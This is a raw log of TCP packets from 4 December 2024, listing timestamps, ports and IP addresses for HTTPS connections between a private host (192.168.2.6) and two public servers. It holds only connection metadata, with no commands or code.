Dec 4, 2024 16:15:45.186999083 CET	49814	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.187007904 CET	443	49814	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.202478886 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.202567101 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.202637911 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.205338001 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.205355883 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.206430912 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206454992 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206465006 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206501961 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206520081 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.206532001 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206538916 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.206561089 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.206585884 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.251000881 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.251028061 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.251090050 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.251100063 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.251158953 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.258727074 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.258806944 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.258815050 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.258829117 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.258888006 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.260976076 CET	49812	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.261006117 CET	443	49812	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.279136896 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.279180050 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.279253006 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.279484987 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.279505014 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.282903910 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.282951117 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.283014059 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.283199072 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.283214092 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.285058975 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.285075903 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.285129070 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.285298109 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.285311937 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.442853928 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.443387032 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.443411112 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.443865061 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.443871021 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.549397945 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549422026 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549427986 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549453974 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549469948 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549480915 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549509048 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.549535990 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.549551964 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.549592018 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.591368914 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.591377974 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.591412067 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.591464996 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.591475964 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.591505051 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.633677959 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.638497114 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.638509035 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.638541937 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.638572931 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.638715029 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.638725042 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.638879061 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.759262085 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.760169029 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.760195017 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.760972023 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.760977030 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.767550945 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.767569065 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.767612934 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.767668009 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.767677069 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.767726898 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.792656898 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.792675972 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.792793036 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.792804003 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.792850971 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.796814919 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.796889067 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.816401005 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.816468954 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.816502094 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.816509962 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.816559076 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.878557920 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.878639936 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.878690004 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.878957987 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.878973961 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.878985882 CET	49815	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.878992081 CET	443	49815	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.882402897 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.882447958 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.882533073 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.882730961 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:45.882750034 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:45.933270931 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.933317900 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.933362007 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.933376074 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.933420897 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.933439970 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.937640905 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.937712908 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.937717915 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.937746048 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:45.937800884 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.938088894 CET	49809	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:45.938105106 CET	443	49809	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.194035053 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.194103003 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.194169998 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.194483042 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.194510937 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.194523096 CET	49807	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.194529057 CET	443	49807	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.197904110 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.197946072 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.198013067 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.198213100 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.198227882 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.420713902 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.421401024 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.421439886 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.421896935 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.421901941 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.659928083 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.660540104 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.660567999 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.660911083 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.661268950 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.661334991 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.661439896 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.664855957 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.665055037 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.665064096 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.666112900 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.666208982 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.666534901 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.666599035 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.666688919 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.666697025 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.669909000 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.670134068 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.670159101 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.670499086 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.670804024 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.670870066 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.670890093 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.707333088 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.711719036 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.711719990 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.711719990 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:46.711734056 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:46.770042896 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.770831108 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.770860910 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.771344900 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.771349907 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.857575893 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.857656002 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.857774973 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.858036041 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.858057976 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.858068943 CET	49818	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.858076096 CET	443	49818	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.861162901 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.861216068 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.861316919 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.861479998 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.861495018 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.930389881 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.933883905 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.933919907 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:46.934386969 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:46.934392929 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.206239939 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.206321001 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.206403017 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.206707954 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.206727982 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.206743002 CET	49813	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.206748009 CET	443	49813	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.210261106 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.210330009 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.210410118 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.210566998 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.210581064 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.367722034 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.367799044 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.367938995 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.371386051 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.371416092 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.371428013 CET	49819	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.371433973 CET	443	49819	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.385759115 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.385798931 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.385878086 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.390618086 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.390635967 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.503664017 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.508584976 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.508871078 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.509005070 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.509735107 CET	49822	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.509749889 CET	443	49822	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.589118958 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.596649885 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.596756935 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.597105980 CET	49820	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.597116947 CET	443	49820	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.620330095 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.621591091 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.621617079 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.622153044 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:47.622159004 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:47.881122112 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.881149054 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.881156921 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.881198883 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.881223917 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.881273985 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.881306887 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.882432938 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.882432938 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.924468040 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.924504042 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.924563885 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.924593925 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.924608946 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.924632072 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.940244913 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.940320015 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.940329075 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.940344095 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:47.940371990 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.940488100 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.940646887 CET	49821	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:47.940663099 CET	443	49821	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:48.086364031 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.086445093 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.086500883 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.086901903 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.086921930 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.086932898 CET	49823	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.086939096 CET	443	49823	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.090795994 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.090833902 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.090894938 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.091408014 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.091423035 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.931464911 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.932041883 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.932074070 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:48.932964087 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:48.932971954 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.126344919 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.126962900 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.126986027 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.127409935 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.127414942 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.365933895 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.365999937 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.366081953 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.366300106 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.366326094 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.366338968 CET	49826	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.366343975 CET	443	49826	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.369199991 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.369247913 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.369333029 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.369494915 CET	49829	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.369508028 CET	443	49829	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.563162088 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.563227892 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.563333035 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.563554049 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.563571930 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.563582897 CET	49827	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.563590050 CET	443	49827	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.566440105 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.566488028 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.566571951 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.566745996 CET	49830	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.566762924 CET	443	49830	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.820153952 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.820812941 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.820835114 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:49.821583986 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:49.821590900 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.110883951 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.111530066 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.111547947 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.112003088 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.112009048 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.255844116 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.255918026 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.255996943 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.256233931 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.256258965 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.256274939 CET	49828	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.256282091 CET	443	49828	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.261013031 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.261045933 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.261122942 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.261384010 CET	49831	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.261400938 CET	443	49831	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.496386051 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:50.496424913 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:50.496516943 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:50.496805906 CET	49832	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:50.496823072 CET	443	49832	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:50.549963951 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.550038099 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.550331116 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.550358057 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.550358057 CET	49825	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.550374985 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.550384998 CET	443	49825	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.553148985 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.553196907 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.553268909 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.553421974 CET	49833	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.553437948 CET	443	49833	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.977518082 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.978702068 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.978759050 CET	443	49824	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:50.979223967 CET	49824	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:50.979229927 CET	443	49824	13.107.246.43	192.168.2.6
